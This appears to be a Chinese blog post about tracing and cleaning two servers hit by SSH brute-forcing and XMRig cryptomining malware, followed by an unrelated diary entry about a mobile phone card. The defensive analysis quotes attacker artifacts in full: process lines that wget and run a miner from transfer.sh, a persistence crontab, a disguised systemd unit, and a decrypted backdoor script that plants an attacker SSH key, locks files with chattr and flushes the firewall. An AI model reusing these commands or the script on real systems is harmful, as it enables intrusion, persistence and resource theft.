鑽石舞台

溯源 fdl 的機器

2021年5月17日下午，發現有人爆破我服務器的口令。

查了下是 fdl 的，聯繫他詢問情況。

登錄上去看到有個用戶127.0.0.1登錄的，一看就知道是映射到公網被人登錄了

確認該賬號無人使用

修改密碼然後踢出用戶

CPU挖礦

killall xmrig一鍵停止挖礦程序

找到挖礦程序本體

/var/tmp/路徑下有疑似掃描的程序

查看lpz用戶啟動的程序

lpz 9845 1 0 5月16 ? 00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; rm -rf xmrig ; wget http://transfer.sh/zA1eg/xmrig ; chmod +x xmrig ; ./xmriglpz 10361 1 0 16:00 ? 00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; cd ..o ; ./xmriglpz 10628 1 0 16:00 ? 00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; cd ..o ; ./xmriglpz 11418 1 0 5月16 ? 00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; rm -rf xmrig ; wget http://transfer.sh/zA1eg/xmrig ; chmod +x xmrig ; ./xmriglpz 12349 1 0 5月16 ? 00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; rm -rf xmrig ; wget http://transfer.sh/zA1eg/xmrig ; chmod +x xmrig ; ./xmriglpz 13160 1 0 5月15 ? 00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; rm -rf ..o ; mkdir ..o ; cd ..o ; wget http://transfer.sh/GgVQs/xmrig ; chmod +x xmrig ; ./xmriglpz 13462 1 0 16:10 ? 00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; cd ..o ; ./xmriglpz 13633 1 0 5月16 ? 00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; rm -rf xmrig ; wget http://transfer.sh/zA1eg/xmrig ; chmod +x xmrig ; ./xmrig

找到 bios.txt

內容如下

查看建立的ssh,發現正在爆破口令

停止該用戶的所有對外發起的爆破攻擊

祭出很久以前寫的一個非常弱雞的檢查程序

查看成功登錄的記錄，記錄文件缺失不少，可能是攻擊者手抖刪了的

目錄裡面翻了翻，找到了爆破成功的口令

開機自啟動爆破ssh的程序

/var/spool/cron/crontabs/lpz文件內容，注釋所有內容

# DO NOT EDIT THIS FILE - edit the master and reinstall.# (/var/tmp/.5p4rk3l5 installed on Mon May 3 14:22:22 2021)# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)@daily /var/tmp/./.b4nd1d0@reboot /var/tmp/./.black > /dev/null 2>&1 & disown* * * * * /var/tmp/./.black > /dev/null 2>&1 & disown@monthly /var/tmp/./.black > /dev/null 2>&1 & disown

問題不大，程序起不來了，保留現場，留給 fdl 了，我就溜了。

然後似乎應該聯繫一下受害者，於是在某個群里說了下受害者IP :)

出現受害者，着實太慘了

事情告一段落，簡單記錄了下流程，fdl 建議放到內網，讓其他人排查的時候多一點思路，於是我放到內網了，不過似乎打點馬賽克還可以水一篇我自己的博客（笑

簡單的對抗

曾大佬的同學服務器中毒，遇到挖礦木馬。

昨天他們搞了快一天還沒搞定，我昨天下午給他說讓他們把ssh口令拿來，結果曾大佬十分羞澀（笑），一直沒有要口令，今早來的時候看到曾大佬還在幫對面分析。

不過，我昨天晚飯的時候剛溯源了一台機器（前面 fdl 的那台），我問到了曾大佬他們的IP地址，再去昨天溯源的機器裡面拖下來的文件對比，找到了他們服務器的密碼 :)

試了下，發現他們已經把密碼改了 :(

然後10:30的時候，曾大佬終於問到了密碼，又是一個不太弱的弱口令，還好，查了下沒有在rockyou.txt裡面。

登上去一看，好傢夥，我昨天溯源的那台機器把這台爆破成功了，還反覆登錄了好多次。來了兩波挖礦的攻擊者，大膽想象第二波把第一波攻擊者的挖礦木馬停了運行自己的，然後第一波回來了又把程序改回來了，結果沒想到第二波做了對抗，第一波被迫和第二波共享CPU，果然挖礦的最大敵人是服務器上其他挖礦的人。（希望不是披着挖礦外衣的APT攻擊）

mail列表可以看到提示/usr/bin/sa/sa1文件不存在，是因為前面的排查的同學已經把這個惡意路徑重命名了，程序啟動不了。那就搜索哪裡出現了這個可疑路徑。

使用strings命令在所有文本和二進制文件中查找這個字符串。

find -print0|xargs -0 strings |grep "/usr/lib64/sa"

搜索了之後找到文件，初步分析此文件和生成的惡意程序/usr/bin/沒有直接關係，線索暫時中斷。

ps -ef可以看到啟動了一個進程/usr/bin/隨機字符串，發送kill -9之後立刻重新啟動，啟動之後這個程序會刪除本身，以達到隱藏自己的目的。父進程pid是1，可以知道是systemd啟動的惡意進程。

樓上大佬寫了腳本無限循環kill掉這個

繼續尋找到底誰在搞事。

通過父進程pid是1我們可以推測程序利用了systemd重啟惡意程序。

通過程序無限重啟我們可以推測service的配置文件裡面寫了Restart=always這個重啟策略。

於是挨個去排查/etc/systemd/裡面註冊的Restart=always的配置文件。找了半天實在眼花，也用了正常工作的CentOS的systemd服務和此服務器的做對比，區別挺大，沒有找到明顯異常，此路不通。:)

查看下啟動的 service，還是眼花。此路不通。

systemctl list-unit-files|grep enabled

又生一計，給他發個SEGV讓他異常退出，看看有沒有coredump，從coredump分析。因為似乎並沒有配置coredump的策略，不過也不是不能用，限於較懶+不是我的服務器，不能亂搞。程序異常退出後，在/var/spool/abrt可以看到正在保存過程中的coredump文件，等他dump完成之後會移動到其他地方，拼個手速趕在系統刪掉他之前把他複製一份。

發SEGV讓程序停下來，保存coredump現場

查看environ可以看到裡面有該文件的路徑/usr/bin/ab06174bf1和另一個路徑/usr/sbin/route_forbidden-close

早知道看environ的話我為啥還要費力的給他發SEGV讓他段錯誤，直接去/proc/翻就行了55555 :)

過濾該文件內的字符串，可以看到upx字樣，正常程序肯定不會用upx的。可能這也是逃過我們剛剛的find+strings組合的原因了。

然後把文件拖下來，本機upx脫殼看看

好的，就是upx的了，送給曾大佬分析一波。

網上搜一下這個文件名字符串，可以看到有且僅有三條結果，內容一樣

點進去一看，好傢夥，症狀完全一致

https://blog.csdn.net/qq_36270681/article/details/115366550

而後直接找到了

cat /usr/lib/systemd/system/pmapx_start_2.service

# This file is part of systemd.## systemd is free software; you can redistribute it and/or modify it# under the terms of the GNU Lesser General Public License as published by# the Free Software Foundation; either version 2.1 of the License, or# (at your option) any later version.## Entries in this file show the compile time defaults.# You can change settings by editing this file.# Defaults can be restored by simply deleting this file.## See resolved.conf(5) for details[Unit]Description=System function loader.[Service]Type=forkingGuessMainPID=noRestart=alwaysRestartSec=10ExecStart=-/usr/sbin/route_forbidden-close[Install]WantedBy=multi-user.target

這傢伙隱藏的挺好，要不是你用upx加殼，我可能還真找不到你了 :)

找到兇手後，禁言套餐小黑屋套餐送上

systemctl disable pmapx_start_2systemctl stop pmapx_start_2

世界瞬間安靜下來。

再看看ps -ef|grep /usr/bin，沒有異常的那個進程了，CPU負載也降到0了。

收工。

曾大佬過來問我怎麼找到這個 upx 加殼的文件的，想了想我感覺可以水一篇博客，幫助大家分析這個做了一點點對抗的挖礦木馬。畢竟這個樣本似乎剛出來不久，網上沒找到太多的資料。可能有關聯詞的部分我截圖加文本形式寫到正文裡面了， 做個 SEO 讓搜索引擎索引一下。

分析惡意文件

不愧是 NESE 的大佬，曾大佬分分鐘把惡意文件逆了。

這其實是個shc加密的shell腳本，可以解密，IDA裡面也能直接看到 shell 的源碼。曾大佬說他還寫了個公鑰進去，我們趕緊登錄上去，果然，公鑰就在那裡，仿佛在嘲笑我們百密99疏，這麼明顯的東西沒有去關注他。其實也不一定容易發現這個有問題，這台電腦很多個人在用，可能會以為是其他同學寫的。

對比一下字符串，和解密出來的shell裡面內容一樣，立刻幹掉他。我回到我的工位準備上去耍耍，事情變得有趣起來了。

曾大佬叫我說這個文件怎麼改不了，我過去一看，:w不能保存，:w!也不行，看起來像是用了chattr添加了只讀屬性。

退出來一看，還真是。

好傢夥，還留了一手。

問題不大，我是root啊，一波chattr -i去掉只讀，然後覆蓋掉裡面的內容，問題解決。當時解決這個問題的時候還沒有仔細分析 shell 腳本，看到寫了公鑰就直接去服務器了，往後面的shell腳本裡面是能看到具體的地方的。

一個問題解決了，回來繼續分析 shell代碼。

解密之後代碼如下

#!/bin/bash### Functii / Variabile ###random_name="$(openssl rand -hex 5)"locatie_miner_default="/usr/sbin/rmt_remount-open"locatie_pid="/usr/local/share/.logfile"sshkey="ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAoRh5CpR0h90JlvwmaVUv7wkzp/D2dqs9v9jpR0XVzJOMTafumdQYNHgWpfXd8N8Er01aYeZfe8070bNwNHgueubH96beSEs3gPtIpcrpDMtzRDHkieUlVwyLfbJxXgYWjikuQtn8HNU21hJ5BIUqLKSKAJ1LvPY3O6QVrQwBPbKaIkdbbKDfAYgBRYvCS6n9wvqyTHmN4Yk/CPW4Y489rvffuxGD+NzdX0gfUqu8+YcC8gPV7RcFsqrXMssKHaEg/XSMiuzRqNOy4SzXAM5Rxgst8ff6v9hCR5kx5QbGuIwS4DseWymEjs4YqgXAT5THV6baXG6Tf5utfzDxoCAM0w== raducu"########################################################if [ -f /usr/sbin/lib23fr ]; thenstatic=/usr/sbin/lib23frelsestatic=cpfi if [ -f /usr/sbin/chattr_bakv2 ]; thenstatic2=/usr/sbin/chattr_bakv2elsestatic2=chattrfi if [ -f /usr/sbin/lodosir ]; thenstatic3=/usr/sbin/lodosirelsestatic3=rmfi########################################################permisiuni_logs(){ $static2 -i -a -j -t -d -u /usr $static2 -i -a -j -t -d -u /usr/bin $static2 -i -a -j -t -d -u /usr/local $static2 -i -a -j -t -d -u /usr/local/share $static2 -i -a -j -t -d -u $locatie_pid chmod +x $locatie_pid}######sshkeyset() { if [ $(id -u) = 0 ]; then if [ -f "/root/.ssh/authorized_keys" ]; then if ! cat /root/.ssh/authorized_keys | grep -q "${sshkey}" ; then $static2 -i -a -j -t -d -u /root ; $static2 -i -a -j -t -d -u /root/.ssh ; $static2 -i -a -j -t -d -u /root/.ssh/authorized_keys echo $sshkey > "/root/.ssh/authorized_keys" chmod600 /root/.ssh/authorized_keys $static2 +i /root/.ssh/authorized_keys else : fi else if [ -d "/root/.ssh" ]; then $static2 -i -a -j -t -d -u /root/.ssh echo $sshkey > "/root/.ssh/authorized_keys" chmod600 /root/.ssh/authorized_keys $static2 +i /root/.ssh/authorized_keys else $static2 -i -a -j -t -d -u /root mkdir "/root/.ssh" echo $sshkey > "/root/.ssh/authorized_keys" chmod600 /root/.ssh/authorized_keys $static2 +i /root/.ssh/authorized_keys fi fi fi}######scoatem_ports(){ iptables -F ; iptables --flush ; echo "nameserver 8.8.8.8"> /etc/resolv.conf}######kulkat() { if [ -f /usr/bin/config.json ]; then $static2 -i -a -j -t -d -u /usr/bin/config.json rm -rf /usr/bin/config.json fi}######functie_on(){ $static2 -i -a -j -t -d -u /usr/bin $static2 -i -a -j -t -d -u /usr $static $locatie_miner_default /usr/bin/$random_name /usr/bin/$random_name > /dev/null 2>&1 & disown echo $random_name > $locatie_pid $static3 -rf /usr/bin/$random_name}######### End of Functii / Varibile ##### aici incepe tot codu cicapermisiuni_logssshkeysetscoatem_portskulkatfunctie_on

代碼對抗的意圖很明顯，寫了個公鑰覆蓋掉已有的authorized_key，然後chattr設定只讀。

他還有個/usr/sbin/chattr_bakv2，推測攻擊者在某些地方會把系統原有的chattr換個名字，讓管理員上去排查的時候沒有chattr可用，好傢夥，直呼內行。

/usr/sbin/rmt_remount-open就是挖礦程序的本體了，先把挖礦程序複製到/usr/bin/$random_name，然後啟動挖礦程序，刪除掉挖礦程序。由於shell腳本本身是systemd啟動的，我們停止了挖礦程序後systemd又會執行一遍這個腳本，陷入無盡的循環。

functie_on(){ $static2 -i -a -j -t -d -u /usr/bin $static2 -i -a -j -t -d -u /usr $static $locatie_miner_default /usr/bin/$random_name /usr/bin/$random_name > /dev/null 2>&1 & disown echo $random_name > $locatie_pid $static3 -rf /usr/bin/$random_name}

但是又有一個問題，systemd關心的是這個 shell腳本的狀態，shell腳本執行了/usr/bin/$random_name > /dev/null 2>&1 & disown就跑路了，disown參數把這個進程從jobs中移除了，即使退出了shell也不會影響他執行。那麼，我們給/usr/bin/$random_name發送了kill -9之後，他的腳本如何發現這個進程已經退出了然後重新啟動的呢？我們發送kill -i不會影響這個shell腳本的執行的。

後記

兩天時間溯源兩台機器，甚至有點好玩，無聊的研究生活裡面的一點樂趣了（打乒乓球、羽毛球、恰火鍋也很快樂） :)

溯源的時候千萬不要把攻擊者錢包的地址改成自己的然後就不管了，這樣攻擊者的程序會自動在內網擴散然後上千個CPU幫你挖 xmr ，還有可能吃國家飯 :)

不要把 ssh 映射到公網了，雖然你的口令可能比較強，但是其他用戶可能是弱口令

不要用弱口令，root:123456這類口令基本是白給的

不只是 ssh 容易被攻擊， redis 未授權，java框架的各種反序列化分分鐘 getshell

挖礦木馬已經是極其文明講理的木馬了，如果對方是勒索軟件、APT攻擊者，那麼後果就嚴重了　:)

建議攻擊者下次還是劫持getdents這類系統調用來隱藏自己，直接刪除自己這個技術含量不太高，PS一下子就看到了

fa les duo ma laki

碎碎念

昨天移動給我發短信，說我移動號卡行為異常，讓我登錄移動掌廳或者去營業廳核驗。拜託查准率高一點好不好，我就收個快遞短信，每天兩點一線，用來上個網，怎麼就命中斷卡行動惡意行為監測的特徵了(希望這個特徵不要被詐騙分子發現了，雖然我把它寫出來了233333)

此時我的手機已經變成了2G網絡，只能打電話不能上網了。還好我還有一張卡可以湊合續命。:)

下載移動掌廳，點擊客服，他提示我可能的原因，並且讓我 24h 內通過移動公眾號或者營業廳核驗，有中間商賺差價，直接抽成29/30*100%=96.7%，比黃四郎抽的還多 :)

看了下住的地方旁邊有個營業廳，今天早晨8:30走過去，擔心去早了沒開門。

他給我說關注北京反詐公眾號可以操作。

我給他說移動短信讓我到營業廳核驗。

他給我說他不是移動自己的營業廳，讓我去另一個地方，而這個地方就是我小區樓下的營業廳，只是地圖上沒有。

我說好吧，謝謝您嘞。

於是我又回到了小區外面，一看營業廳上面寫的10:00-18:00營業，而我是 996 的打工人，意味着我只有周日才能有時間來了，先用另一張卡湊合續命吧。

準備走的時候看到個70來歲的老大爺和老伴一起來，老大爺看了看那個牌子，給老伴說 10:00 才開門，他老伴說那待會兒再來吧。啊，我也想退休，真好，還能有時間去營業廳，996的人很久沒看過日落了。

此時已經快9點了，打工人得快點去打卡，不然就遲到了 :) 等了幾分鐘公交車來了，車上有點熱，人擠人，是生活的味道。國際慣例，豆漿油條，豆漿不要糖，吃完去打卡，當然，最後肯定是遲到了。

中午午飯過後，我給10086打了電話。

10086說查了一下我這個卡確實上是有收到斷卡行動的通知的。看起來這個話務員似乎是看的我收短信的記錄而不是系統裡面查詢的，因為他問了我什麼時候收到的短信 :)

他說查詢了我這個號卡，目前是正常使用的，讓我卡不能用了之後再給他打電話。

我說卡不能用了我怎麼給10086打電話 :)

他說不影響打10086的，並且目前這張卡是正常使用的。

我說着不正常呀，收到那個短信之後一直是2G信號，不讓我上網了。

他又說了一遍現在是正常使用的。

我再看了看手機，移動號卡變成4G信號了 :)

行吧，就這樣吶，怎麼解決的就不管了，能用就行，問題告一段落。:)

作者：les1ie，文章來源：https://les1ie.com/

加個好友進技術交流群

請務必備註進群

推薦閱讀

歡迎在看丨留言丨分享至朋友圈三連